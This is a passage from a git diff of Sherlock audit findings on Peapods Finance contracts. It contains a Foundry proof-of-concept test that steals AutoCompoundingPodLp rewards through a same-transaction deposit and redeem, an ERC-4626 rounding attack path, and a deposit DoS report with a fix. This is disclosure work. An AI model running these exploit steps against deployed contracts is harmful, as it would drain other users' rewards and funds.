+2. An attacker sees this and now deposits spTKN into AutoCompoundingPodLp. Since there are no tokens in Auto Compounding PdLp, the rewards are only distributed when the spTKNs deposited by the attacker are transferred at the end of the function, because this is when `setShares` is called, and thus rewards are distributed.
+3. In the same transaction, he calls redeem, which, through `_processRewardsToPodLp`, causes the rewards to be compounded into spTKNs. As a result, the rewards are then in the contract as spTKNs, and upon redeeming, he receives a portion of the rewards and has more spTKNs than at the beginning.
+
+### Impact
+
+An attacker can steal rewards from AutoCompoundingPodLp that are actually meant for users who stake their spTKNs there. As a result, these users receive fewer rewards.
+
+### PoC
+
+1. To execute the POC, a `POC.t.sol` file should be created in `contracts/test/POC.t.sol`.
+2. The following code should be inserted into the file:
+```solidity
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.28;
+
+import {console} from "forge-std/console.sol";
+
+// forge
+import {Test} from "forge-std/Test.sol";
+
+// PEAS
+import {PEAS} from "../../contracts/PEAS.sol";
+import {V3TwapUtilities} from "../../contracts/twaputils/V3TwapUtilities.sol";
+import {UniswapDexAdapter} from "../../contracts/dex/UniswapDexAdapter.sol";
+import {IDecentralizedIndex} from "../../contracts/interfaces/IDecentralizedIndex.sol";
+import {WeightedIndex} from "../../contracts/WeightedIndex.sol";
+import {StakingPoolToken} from "../../contracts/StakingPoolToken.sol";
+import {LendingAssetVault} from "../../contracts/LendingAssetVault.sol";
+import {IndexUtils} from "../../contracts/IndexUtils.sol";
+import {IIndexUtils} from "../../contracts/interfaces/IIndexUtils.sol";
+import {IndexUtils} from "../contracts/IndexUtils.sol";
+import {RewardsWhitelist} from "../../contracts/RewardsWhitelist.sol";
+import {TokenRewards} from "../../contracts/TokenRewards.sol";
+
+// oracles
+import {ChainlinkSinglePriceOracle} from "../../contracts/oracle/ChainlinkSinglePriceOracle.sol";
+import {UniswapV3SinglePriceOracle} from "../../contracts/oracle/UniswapV3SinglePriceOracle.sol";
+import {DIAOracleV2SinglePriceOracle} from "../../contracts/oracle/DIAOracleV2SinglePriceOracle.sol";
+import {V2ReservesUniswap} from "../../contracts/oracle/V2ReservesUniswap.sol";
+import {aspTKNMinimalOracle} from "../../contracts/oracle/aspTKNMinimalOracle.sol";
+
+// protocol fees
+import {ProtocolFees} from "../../contracts/ProtocolFees.sol";
+import {ProtocolFeeRouter} from "../../contracts/ProtocolFeeRouter.sol";
+
+// autocompounding
+import {AutoCompoundingPodLpFactory} from "../../contracts/AutoCompoundingPodLpFactory.sol";
+import {AutoCompoundingPodLp} from "../../contracts/AutoCompoundingPodLp.sol";
+
+// lvf
+import {LeverageManager} from "../../contracts/lvf/LeverageManager.sol";
+
+// fraxlend
+import {FraxlendPairDeployer, ConstructorParams} from "./invariant/modules/fraxlend/FraxlendPairDeployer.sol";
+import {FraxlendWhitelist} from "./invariant/modules/fraxlend/FraxlendWhitelist.sol";
+import {FraxlendPairRegistry} from "./invariant/modules/fraxlend/FraxlendPairRegistry.sol";
+import {FraxlendPair} from "./invariant/modules/fraxlend/FraxlendPair.sol";
+import {VariableInterestRate} from "./invariant/modules/fraxlend/VariableInterestRate.sol";
+import {IERC4626Extended} from "./invariant/modules/fraxlend/interfaces/IERC4626Extended.sol";
+
+// flash
+import {IVault} from "./invariant/modules/balancer/interfaces/IVault.sol";
+import {BalancerFlashSource} from "../../contracts/flash/BalancerFlashSource.sol";
+import {PodFlashSource} from "../../contracts/flash/PodFlashSource.sol";
+import {UniswapV3FlashSource} from "../../contracts/flash/UniswapV3FlashSource.sol";
+
+// uniswap-v2-core
+import {UniswapV2Factory} from "v2-core/UniswapV2Factory.sol";
+import {UniswapV2Pair} from "v2-core/UniswapV2Pair.sol";
+
+// uniswap-v2-periphery
+import {UniswapV2Router02} from "v2-periphery/UniswapV2Router02.sol";
+
+// uniswap-v3-core
+import {UniswapV3Factory} from "v3-core/UniswapV3Factory.sol";
+import {UniswapV3Pool} from "v3-core/UniswapV3Pool.sol";
+
+// uniswap-v3-periphery
+import {SwapRouter02} from "swap-router/SwapRouter02.sol";
+import {LiquidityManagement} from "v3-periphery/base/LiquidityManagement.sol";
+import {PeripheryPayments} from "v3-periphery/base/PeripheryPayments.sol";
+import {PoolAddress} from "v3-periphery/libraries/PoolAddress.sol";
+
+// mocks
+import {WETH9} from "./invariant/mocks/WETH.sol";
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {MockERC20} from "./invariant/mocks/MockERC20.sol";
+import {TestERC20} from "./invariant/mocks/TestERC20.sol";
+import {TestERC4626Vault} from "./invariant/mocks/TestERC4626Vault.sol";
+import {MockV3Aggregator} from "./invariant/mocks/MockV3Aggregator.sol";
+import {MockUniV3Minter} from "./invariant/mocks/MockUniV3Minter.sol";
+import {MockV3TwapUtilities} from "./invariant/mocks/MockV3TwapUtilities.sol";
+
+import {PodHelperTest} from "./helpers/PodHelper.t.sol";
+
+contract AuditTests is PodHelperTest {
+ address alice = vm.addr(uint256(keccak256("alice")));
+ address bob = vm.addr(uint256(keccak256("bob")));
+ address charlie = vm.addr(uint256(keccak256("charlie")));
+
+ uint256[] internal _fraxPercentages = [10000, 2500, 7500, 5000];
+
+ // fraxlend protocol actors
+ address internal comptroller = vm.addr(uint256(keccak256("comptroller")));
+ address internal circuitBreaker = vm.addr(uint256(keccak256("circuitBreaker")));
+ address internal timelock = vm.addr(uint256(keccak256("comptroller")));
+
+ uint16 internal fee = 100;
+ uint256 internal PRECISION = 10 ** 27;
+
+ uint256 donatedAmount;
+ uint256 lavDeposits;
+
+ /*///////////////////////////////////////////////////////////////
+ TEST CONTRACTS
+ ///////////////////////////////////////////////////////////////*/
+
+ PEAS internal _peas;
+ MockV3TwapUtilities internal _twapUtils;
+ UniswapDexAdapter internal _dexAdapter;
+ LendingAssetVault internal _lendingAssetVault;
+ LendingAssetVault internal _lendingAssetVault2;
+ RewardsWhitelist internal _rewardsWhitelist;
+
+ // oracles
+ V2ReservesUniswap internal _v2Res;
+ ChainlinkSinglePriceOracle internal _clOracle;
+ UniswapV3SinglePriceOracle internal _uniOracle;
+ DIAOracleV2SinglePriceOracle internal _diaOracle;
+ aspTKNMinimalOracle internal _aspTKNMinOracle1Peas;
+ aspTKNMinimalOracle internal _aspTKNMinOracle1Weth;
+
+ // protocol fees
+ ProtocolFees internal _protocolFees;
+ ProtocolFeeRouter internal _protocolFeeRouter;
+
+ // pods
+ WeightedIndex internal _pod1Peas;
+
+ // index utils
+ IndexUtils internal _indexUtils;
+
+ // autocompounding
+ AutoCompoundingPodLpFactory internal _aspTKNFactory;
+ AutoCompoundingPodLp internal _aspTKN1Peas;
+ address internal _aspTKN1PeasAddress;
+
+ // lvf
+ LeverageManager internal _leverageManager;
+
+ // fraxlend
+ FraxlendPairDeployer internal _fraxDeployer;
+ FraxlendWhitelist internal _fraxWhitelist;
+ FraxlendPairRegistry internal _fraxRegistry;
+ VariableInterestRate internal _variableInterestRate;
+
+ FraxlendPair internal _fraxLPToken1Peas;
+
+ // flash
+ UniswapV3FlashSource internal _uniswapV3FlashSourcePeas;
+
+ // mocks
+ MockUniV3Minter internal _uniV3Minter;
+ MockERC20 internal _mockDai;
+ WETH9 internal _weth;
+ MockERC20 internal _tokenA;
+ MockERC20 internal _tokenB;
+ MockERC20 internal _tokenC;
+
+ // uniswap-v2-core
+ UniswapV2Factory internal _uniV2Factory;
+ UniswapV2Pair internal _uniV2Pool;
+
+ // uniswap-v2-periphery
+ UniswapV2Router02 internal _v2SwapRouter;
+
+ // uniswap-v3-core
+ UniswapV3Factory internal _uniV3Factory;
+ UniswapV3Pool internal _v3peasDaiPool;
+ UniswapV3Pool internal _v3peasDaiFlash;
+
+ // uniswap-v3-periphery
+ SwapRouter02 internal _v3SwapRouter;
+
+ function setUp() public override {
+ super.setUp();
+
+ _deployUniV3Minter();
+ _deployWETH();
+ _deployTokens();
+ _deployPEAS();
+ _deployUniV2();
+ _deployUniV3();
+ _deployProtocolFees();
+ _deployRewardsWhitelist();
+ _deployTwapUtils();
+ _deployDexAdapter();
+ _deployIndexUtils();
+ _deployWeightedIndexes();
+ _deployAutoCompoundingPodLpFactory();
+ _getAutoCompoundingPodLpAddresses();
+ _deployAspTKNOracles();
+ _deployAspTKNs();
+ _deployVariableInterestRate();
+ _deployFraxWhitelist();
+ _deployFraxPairRegistry();
+ _deployFraxPairDeployer();
+ _deployFraxPairs();
+ _deployLendingAssetVault();
+ _deployLeverageManager();
+ _deployFlashSources();
+
+ _mockDai.mint(alice, 1_000_000 ether);
+ _mockDai.mint(bob, 1_000_000 ether);
+ _mockDai.mint(charlie, 1_000_000 ether);
+ _peas.transfer(alice, 100_000 ether);
+ _peas.transfer(bob, 100_000 ether);
+ _peas.transfer(charlie, 100_000 ether);
+ }
+
+ function _deployUniV3Minter() internal {
+ _uniV3Minter = new MockUniV3Minter();
+ }
+
+ function _deployWETH() internal {
+ _weth = new WETH9();
+
+ vm.deal(address(this), 1_000_000 ether);
+ _weth.deposit{value: 1_000_000 ether}();
+
+ vm.deal(address(_uniV3Minter), 2_000_000 ether);
+ vm.prank(address(_uniV3Minter));
+ _weth.deposit{value: 2_000_000 ether}();
+ }
+
+ function _deployTokens() internal {
+ _mockDai = new MockERC20();
+ _tokenA = new MockERC20();
+ _tokenB = new MockERC20();
+ _tokenC = new MockERC20();
+
+ _mockDai.initialize("MockDAI", "mDAI", 18);
+ _tokenA.initialize("TokenA", "TA", 18);
+ _tokenB.initialize("TokenB", "TB", 18);
+ _tokenC.initialize("TokenC", "TC", 18);
+
+ _tokenA.mint(address(this), 1_000_000 ether);
+ _tokenB.mint(address(this), 1_000_000 ether);
+ _tokenC.mint(address(this), 1_000_000 ether);
+ _mockDai.mint(address(this), 1_000_000 ether);
+
+ _tokenA.mint(address(_uniV3Minter), 1_000_000 ether);
+ _tokenB.mint(address(_uniV3Minter), 1_000_000 ether);
+ _tokenC.mint(address(_uniV3Minter), 1_000_000 ether);
+ _mockDai.mint(address(_uniV3Minter), 1_000_000 ether);
+
+ _tokenA.mint(alice, 1_000_000 ether);
+ _tokenB.mint(alice, 1_000_000 ether);
+ _tokenC.mint(alice, 1_000_000 ether);
+ _mockDai.mint(alice, 1_000_000 ether);
+
+ _tokenA.mint(bob, 1_000_000 ether);
+ _tokenB.mint(bob, 1_000_000 ether);
+ _tokenC.mint(bob, 1_000_000 ether);
+ _mockDai.mint(bob, 1_000_000 ether);
+
+ _tokenA.mint(charlie, 1_000_000 ether);
+ _tokenB.mint(charlie, 1_000_000 ether);
+ _tokenC.mint(charlie, 1_000_000 ether);
+ _mockDai.mint(charlie, 1_000_000 ether);
+ }
+
+ function _deployPEAS() internal {
+ _peas = new PEAS("Peapods", "PEAS");
+ _peas.transfer(address(_uniV3Minter), 2_000_000 ether);
+ }
+
+ function _deployUniV2() internal {
+ _uniV2Factory = new UniswapV2Factory(address(this));
+ _v2SwapRouter = new UniswapV2Router02(address(_uniV2Factory), address(_weth));
+ }
+
+ function _deployUniV3() internal {
+ _uniV3Factory = new UniswapV3Factory();
+ _v3peasDaiPool = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 10_000));
+ _v3peasDaiPool.initialize(1 << 96);
+ _v3peasDaiPool.increaseObservationCardinalityNext(600);
+ _uniV3Minter.V3addLiquidity(_v3peasDaiPool, 100_000 ether);
+
+ _v3peasDaiFlash = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 500));
+ _v3peasDaiFlash.initialize(1 << 96);
+ _v3peasDaiFlash.increaseObservationCardinalityNext(600);
+ _uniV3Minter.V3addLiquidity(_v3peasDaiFlash, 100_000e18);
+
+ _v3SwapRouter = new SwapRouter02(address(_uniV2Factory), address(_uniV3Factory), address(0), address(_weth));
+ }
+
+ function _deployProtocolFees() internal {
+ _protocolFees = new ProtocolFees();
+ _protocolFees.setYieldAdmin(500);
+ _protocolFees.setYieldBurn(500);
+
+ _protocolFeeRouter = new ProtocolFeeRouter(_protocolFees);
+ bytes memory code = address(_protocolFeeRouter).code;
+ vm.etch(0x7d544DD34ABbE24C8832db27820Ff53C151e949b, code);
+ _protocolFeeRouter = ProtocolFeeRouter(0x7d544DD34ABbE24C8832db27820Ff53C151e949b);
+
+ vm.prank(_protocolFeeRouter.owner());
+ _protocolFeeRouter.transferOwnership(address(this));
+ _protocolFeeRouter.setProtocolFees(_protocolFees);
+ }
+
+ function _deployRewardsWhitelist() internal {
+ _rewardsWhitelist = new RewardsWhitelist();
+ bytes memory code = address(_rewardsWhitelist).code;
+ vm.etch(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F, code);
+ _rewardsWhitelist = RewardsWhitelist(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F);
+
+ vm.prank(_rewardsWhitelist.owner());
+ _rewardsWhitelist.transferOwnership(address(this));
+ _rewardsWhitelist.toggleRewardsToken(address(_peas), true);
+ }
+
+ function _deployTwapUtils() internal {
+ _twapUtils = new MockV3TwapUtilities();
+ bytes memory code = address(_twapUtils).code;
+ vm.etch(0x024ff47D552cB222b265D68C7aeB26E586D5229D, code);
+ _twapUtils = MockV3TwapUtilities(0x024ff47D552cB222b265D68C7aeB26E586D5229D);
+ }
+
+ function _deployDexAdapter() internal {
+ _dexAdapter = new UniswapDexAdapter(_twapUtils, address(_v2SwapRouter), address(_v3SwapRouter), false);
+ }
+
+ function _deployIndexUtils() internal {
+ _indexUtils = new IndexUtils(_twapUtils, _dexAdapter);
+ }
+
+ function _deployWeightedIndexes() internal {
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = 300;
+ _f.debond = 300;
+ _f.burn = 5000;
+ //_f.sell = 200;
+ _f.buy = 200;
+
+ // POD1 (Peas)
+ address[] memory _t1 = new address[](1);
+ _t1[0] = address(_peas);
+ uint256[] memory _w1 = new uint256[](1);
+ _w1[0] = 100;
+ address __pod1Peas = _createPod(
+ "Peas Pod",
+ "pPeas",
+ _c,
+ _f,
+ _t1,
+ _w1,
+ address(0),
+ false,
+ abi.encode(
+ address(_mockDai),
+ address(_peas),
+ address(_mockDai),
+ address(_protocolFeeRouter),
+ address(_rewardsWhitelist),
+ address(_twapUtils),
+ address(_dexAdapter)
+ )
+ );
+ _pod1Peas = WeightedIndex(payable(__pod1Peas));
+
+ _peas.approve(address(_pod1Peas), 100_000 ether);
+ _mockDai.approve(address(_pod1Peas), 100_000 ether);
+ _pod1Peas.bond(address(_peas), 100_000 ether, 1 ether);
+ _pod1Peas.addLiquidityV2(100_000 ether, 100_000 ether, 100, block.timestamp);
+ }
+
+ function _deployAutoCompoundingPodLpFactory() internal {
+ _aspTKNFactory = new AutoCompoundingPodLpFactory();
+ }
+
+ function _getAutoCompoundingPodLpAddresses() internal {
+ _aspTKN1PeasAddress = _aspTKNFactory.getNewCaFromParams(
+ "Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0
+ );
+ }
+
+ function _deployAspTKNOracles() internal {
+ _v2Res = new V2ReservesUniswap();
+ _clOracle = new ChainlinkSinglePriceOracle(address(0));
+ _uniOracle = new UniswapV3SinglePriceOracle(address(0));
+ _diaOracle = new DIAOracleV2SinglePriceOracle(address(0));
+
+ _aspTKNMinOracle1Peas = new aspTKNMinimalOracle(
+ address(_aspTKN1PeasAddress),
+ abi.encode(
+ address(_clOracle),
+ address(_uniOracle),
+ address(_diaOracle),
+ address(_mockDai),
+ false,
+ false,
+ _pod1Peas.lpStakingPool(),
+ address(_v3peasDaiPool)
+ ),
+ abi.encode(address(0), address(0), address(0), address(0), address(0), address(_v2Res))
+ );
+ }
+
+ function _deployAspTKNs() internal {
+ //POD 1
+ address _lpPeas = _pod1Peas.lpStakingPool();
+ address _stakingPeas = StakingPoolToken(_lpPeas).stakingToken();
+
+ IERC20(_stakingPeas).approve(_lpPeas, 500e18);
+ StakingPoolToken(_lpPeas).stake(address(this), 500e18);
+ IERC20(_lpPeas).approve(address(_aspTKNFactory), 500e18);
+
+ _aspTKNFactory.create("Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0);
+ _aspTKN1Peas = AutoCompoundingPodLp(_aspTKN1PeasAddress);
+
+ IERC20(_lpPeas).approve(address(_aspTKN1Peas), 400e18);
+ _aspTKN1Peas.deposit(400e18, address(this));
+ }
+
+ function _deployVariableInterestRate() internal {
+ _variableInterestRate = new VariableInterestRate(
+ "[0.5 0.2@.875 5-10k] 2 days (.75-.85)",
+ 87500,
+ 200000000000000000,
+ 75000,
+ 85000,
+ 158247046,
+ 1582470460,
+ 3164940920000,
+ 172800
+ );
+ }
+
+ function _deployFraxWhitelist() internal {
+ _fraxWhitelist = new FraxlendWhitelist();
+ }
+
+ function _deployFraxPairRegistry() internal {
+ address[] memory _initialDeployers = new address[](0);
+ _fraxRegistry = new FraxlendPairRegistry(address(this), _initialDeployers);
+ }
+
+ function _deployFraxPairDeployer() internal {
+ ConstructorParams memory _params =
+ ConstructorParams(circuitBreaker, comptroller, timelock, address(_fraxWhitelist), address(_fraxRegistry));
+ _fraxDeployer = new FraxlendPairDeployer(_params);
+
+ _fraxDeployer.setCreationCode(type(FraxlendPair).creationCode);
+
+ address[] memory _whitelistDeployer = new address[](1);
+ _whitelistDeployer[0] = address(this);
+
+ _fraxWhitelist.setFraxlendDeployerWhitelist(_whitelistDeployer, true);
+
+ address[] memory _registryDeployer = new address[](1);
+ _registryDeployer[0] = address(_fraxDeployer);
+
+ _fraxRegistry.setDeployers(_registryDeployer, true);
+ }
+
+ function _deployFraxPairs() internal {
+ vm.warp(block.timestamp + 1 days);
+
+ _fraxLPToken1Peas = FraxlendPair(
+ _fraxDeployer.deploy(
+ abi.encode(
+ _pod1Peas.PAIRED_LP_TOKEN(), // asset
+ _aspTKN1PeasAddress, // collateral
+ address(_aspTKNMinOracle1Peas), //oracle
+ 5000, // maxOracleDeviation
+ address(_variableInterestRate), //rateContract
+ 1000, //fullUtilizationRate
+ 75000, // maxLtv
+ 10000, // uint256 _cleanLiquidationFee
+ 9000, // uint256 _dirtyLiquidationFee
+ 2000 //uint256 _protocolLiquidationFee
+ )
+ )
+ );
+ }
+
+ function _deployLendingAssetVault() internal {
+ _lendingAssetVault = new LendingAssetVault("Test LAV", "tLAV", address(_mockDai));
+ IERC20 vaultAsset1Peas = IERC20(_fraxLPToken1Peas.asset());
+ vaultAsset1Peas.approve(address(_fraxLPToken1Peas), vaultAsset1Peas.totalSupply());
+ vaultAsset1Peas.approve(address(_lendingAssetVault), vaultAsset1Peas.totalSupply());
+ _lendingAssetVault.setVaultWhitelist(address(_fraxLPToken1Peas), true);
+
+ address[] memory _vaults = new address[](1);
+ _vaults[0] = address(_fraxLPToken1Peas);
+ uint256[] memory _allocations = new uint256[](1);
+ _allocations[0] = 100_000e18;
+ _lendingAssetVault.setVaultMaxAllocation(_vaults, _allocations);
+
+ vm.prank(timelock);
+ _fraxLPToken1Peas.setExternalAssetVault(IERC4626Extended(address(_lendingAssetVault)));
+ }
+
+ function _deployLeverageManager() internal {
+ _leverageManager = new LeverageManager("Test LM", "tLM", IIndexUtils(address(_indexUtils)));
+ _leverageManager.setLendingPair(address(_pod1Peas), address(_fraxLPToken1Peas));
+ }
+
+ function _deployFlashSources() internal {
+ _uniswapV3FlashSourcePeas = new UniswapV3FlashSource(address(_v3peasDaiFlash), address(_leverageManager));
+ _leverageManager.setFlashSource(address(_pod1Peas.PAIRED_LP_TOKEN()), address(_uniswapV3FlashSourcePeas));
+ }
+
+ function testPoc() public {
+ UniswapV2Pair _v2Pool = UniswapV2Pair(_pod1Peas.DEX_HANDLER().getV2Pool(address(_pod1Peas), address(_mockDai)));
+ StakingPoolToken _spTKN = StakingPoolToken(_pod1Peas.lpStakingPool());
+ TokenRewards _tokenRewards = TokenRewards(_spTKN.POOL_REWARDS());
+
+ vm.startPrank(alice);
+ console.log("\n====== Alice bonds 10_000 PEAS ======"); //Alice bonds 10_000 peas to create fees which then come as rewards in TokenRewards
+ _peas.approve(address(_pod1Peas), 10_000e18);
+ _pod1Peas.bond(address(_peas), 10_000e18, 0);
+ vm.stopPrank();
+
+ vm.startPrank(bob); //Bob sees this and wants to steal the rewards
+ console.log("\n====== Bob bonds 1000 PEAS ======");
+ _peas.approve(address(_pod1Peas), 1000e18);
+ _pod1Peas.bond(address(_peas), 1000e18, 0); //Because Bob, to steal the rewards, needs spTKNs, he first needs to bond his Peas
+
+ console.log("\n====== Bob adds 950 liquidity ======");
+ _mockDai.approve(address(_pod1Peas), 950e18);
+ _pod1Peas.addLiquidityV2( //Then he adds liquidity to get the LP tokens
+ 950e18,
+ 950e18,
+ 1000,
+ block.timestamp
+ );
+
+ console.log("\n====== Bob stakes 950 lp ======");
+ _v2Pool.approve(address(_spTKN), 950e18);
+ _spTKN.stake(bob, 950e18); //The rewards from the pod are transferred to TokenRewards during staking because setShares is called when transfering the spTKNs
+
+ console.log("\n====== Bob deposits 950 spTKNs ======");
+ console.log("bob _spTKN before: ", _spTKN.balanceOf(bob));
+ console.log("rewards in TokenRewards before: ", _peas.balanceOf(address(_tokenRewards)));
+ console.log("rewards in AutoCompoundingPodLp before: ", _peas.balanceOf(address(_aspTKN1Peas)));
+ _spTKN.approve(address(_aspTKN1Peas), 950e18);
+ _aspTKN1Peas.deposit(950e18, bob);
+ //This shows that the rewards from TokenRewards were transferred to AutoCompoundingLp but have not yet been compounded, allowing the attacker, who now also has aspTKNs, to receive a part of these rewards
+ console.log("rewards in TokenRewards after: ", _peas.balanceOf(address(_tokenRewards)));
+ console.log("rewards in AutoCompoundingPodLp after: ", _peas.balanceOf(address(_aspTKN1Peas)));
+
+ console.log("\n====== Bob redeems 950 aspTKNs ======");
+ _aspTKN1Peas.redeem(950e18, bob, bob);
+ //If you subtract the spTKN balance that the attacker had before the attack, you can see that he now has more tokens
+ console.log("bob _spTKN after: ", _spTKN.balanceOf(bob));
+
+ //This shows that there are still some spTKNs as rewards, but there should actually be more because the attacker shouldn't have gotten any
+ //The remaining rewards are for the account that has already been deposited into the aspTKN in the setup (see _deployAspTKNs in line 400)
+ console.log("_aspTKN spTKN balance: ", _spTKN.balanceOf(address(_aspTKN1Peas)));
+ vm.stopPrank();
+ }
+}
+```
+3. The POC can then be started with `forge test --mt testPoc -vv --fork-url `
\ No newline at end of file
diff --git a/234.md b/234.md
new file mode 100644
index 0000000..34042ac
--- /dev/null
+++ b/234.md
@@ -0,0 +1,82 @@
+Colossal Eggplant Pig
+
+Medium
+
+# LendingAssetVault.sol does not conform to ERC4626
+
+### Summary
+According to the readMe:
+> Is the codebase expected to comply with any specific EIPs?
+Many of our contracts implement ERC20 and ERC4626 which we attempt to comply with in the entirety of those standards for contracts that implement them.
+
+
+Per EIP 4626's Security Considerations (https://eips.ethereum.org/EIPS/eip-4626)
+>Finally, ERC-4626 Vault implementers should be aware of the need for specific, opposing rounding directions across the different mutable and view methods, as it is considered most secure to favor the Vault itself during calculations over its users:
+ • If (1) it’s calculating how many shares to issue to a user for a certain amount of the underlying tokens they provide or (2) it’s determining the amount of the underlying tokens to transfer to them for returning a certain amount of shares, it should round down.
+ • If (1) it’s calculating the amount of shares a user has to supply to receive a given amount of the underlying tokens or (2) it’s calculating the amount of underlying tokens a user has to provide to receive a certain amount of shares, it should round up.
+
+Therefore, the result of the [previewMint()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L116), [previewWithdraw()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L132), [mint()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L120) and [withdraw()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L136) should be rounded up. However, these functions are rounded down breaking integration and causing the vault to lose value.
+
+### Root Cause
+
+The current implementation of [convertToShares()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L82) function will round down the number of shares returned due to how solidity handles Integer Division. ERC4626 expects the returned value of convertToShares to be rounded down. Thus, this function behaves as expected.
+```solidity
+ function convertToShares(uint256 _assets) public view override returns (uint256 _shares) {
+ _shares = (_assets * PRECISION) / _cbr();
+ }
+```
+ERC 4626 expects the result returned from [withdraw()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L136) function to be rounded up. However, within the [withdraw](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L136) function, it calls the convertToShares function. Recall earlier that the convertToShares function returned a rounded down value, thus [withdraw()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L136C5-L141C1) will return a rounded down value instead of round up value. Thus, this function does not behave as expected.
+
+```solidity
+function withdraw(uint256 _assets, address _receiver, address _owner) external override returns (uint256 _shares) {
+ _updateInterestAndMdInAllVaults(address(0));
+ _shares = convertToShares(_assets);
+ _withdraw(_shares, _assets, _owner, _msgSender(), _receiver);
+ }
+```
+
+Similar issue exists in other functions in vault like `mint`, `previewMint` and `previewWithdraw`.
+
+**Relevant Links**
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L136C5-L141C1
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L132C5-L134C6
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L120C4-L124C6
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L116C5-L118C6
+
+
+### Internal Pre-conditions
+
+1. `previewWithdraw`, `withdraw`, `previewMint`, and `mint` returns a rounded down value instead of a rounded down value.
+
+### External Pre-conditions
+
+1. Users and contracts interacting with the vault triggers the affected functions.
+
+### Attack Path
+
+Step 1: A user deposits assets into the vault. This increases the user's share balance.
+Step 2: The user calls withdraw(_assets). The function rounds down the required _shares due to integer division.
+Step 3: The user withdraws assets using withdraw(). Since withdraw() underestimates _shares, they burn fewer shares than they should.
+Step 4: The use can repeat the process. By withdrawing and re-depositing multiple times, the user gradually extracts more assets than their actual shareholding allows. Also as many users or contracts interacts with the vault, the damage accumulates.
+Step 5: The vault suffers from asset depletion.
+Over time, the vaults distributes more assets than it should, leading to an imbalance where other users lose value.
+
+Note: This attack path can apply to other functions that were affected like `previewWithdraw` which rounds down instead of rounding up.
+### Impact
+
+1. Users and other protocols that may integrate with the vault might wrongly assume that the functions handle rounding as per ERC4626 expectation. Therefore, it could cause some intergration problem as result of non-compliance with ERC4626 standard.
+2. The vault will be shortchanged due to lose of value leading to loss of fund.
+
+In conclusion, EIP4626 is aimed to create a consistent and robust implementation patterns for Tokenized Vaults. A slight deviation from 4626 would break composability and potentially lead to loss of fund (POC in https://github.com/code-423n4/2022-06-notional-coop-findings/issues/88 can be an example)
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Ensure that the rounding of vault's functions behave as expected.
\ No newline at end of file
diff --git a/235.md b/235.md
new file mode 100644
index 0000000..8ba4d72
--- /dev/null
+++ b/235.md
@@ -0,0 +1,60 @@
+Atomic Syrup Leopard
+
+Medium
+
+# Incorrect calculation of withdrawing amount to external vault leads to DoS in `deposit` and `mint` functions in `FraxlendPairCore.sol`
+
+### Summary
+
+When assets are deposited into a FraxlendPair, it checks if the LAV is over utilized, and if so, it withdraws assets to the LAV in purpose of lowering the utilization rate. However, it does not check if the LAV has enough FraxlendPair LP to burn. As a result, deposit transactions revert.
+
+### Root Cause
+
+The root cause of the issue is in [`_deposit`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L606) function of `FraxlendPairCore` contract, where it does not check if the `extAmount` is greater than LAV's shares.
+
+### Internal Pre-conditions
+
+- LAV is over utilized
+- LAV has not deposited enough asset to the affected FraxlendPair
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+- A DAI LendingAssetVault contract manages 3 FraxlendPairs
+- 10000 DAI is deposited in total, and say 9000 DAI is deposited between 3 pairs, e.g. 4000 DAI, 4000 DAI, and 1000 DAI
+- Alice deposits 1100 DAI into 3rd FraxlendPairs
+- Since the utilization rate is 90%, the LAV tries to withdraw 1100 DAI to the LAV
+- However, the LAV only owns 1000 DAI worth of FraxlendPair LP, so the transaction reverts
+
+### Impact
+
+Users are unable to deposit assets into FraxlendPair, leading to DoS.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+The withdrawal amount should be checked to be less than or equal to the LAV's shares.
+
+```diff
+ if (address(externalAssetVault) != address(0) && _amount > _totalAsset.totalAmount(address(0)) / 1000) {
+ // if the external asset vault is over utilized or this pair is over allocated,
+ // return the amount being deposited to the vault
+ externalAssetVault.whitelistUpdate(true);
+ uint256 _assetsUtilized = externalAssetVault.vaultUtilization(address(this));
+ bool _vaultOverUtilized =
+ 1e18 * externalAssetVault.totalAssetsUtilized() / externalAssetVault.totalAssets() > 1e18 * 8 / 10;
+ bool _pairOverAllocation = _assetsUtilized > externalAssetVault.vaultMaxAllocation(address(this));
+ if (_vaultOverUtilized || _pairOverAllocation) {
+ uint256 _extAmount = _assetsUtilized > _amount ? _amount : _assetsUtilized;
++ uint256 externalVaultAssets = _totalAsset.toAmount(balanceOf(address(externalAssetVault)), false);
++ _extAmount = _extAmount > externalVaultAssets ? externalVaultAssets : _extAmount;
+ _withdrawToVault(_extAmount);
+ }
+ }
+```
\ No newline at end of file
diff --git a/236.md b/236.md
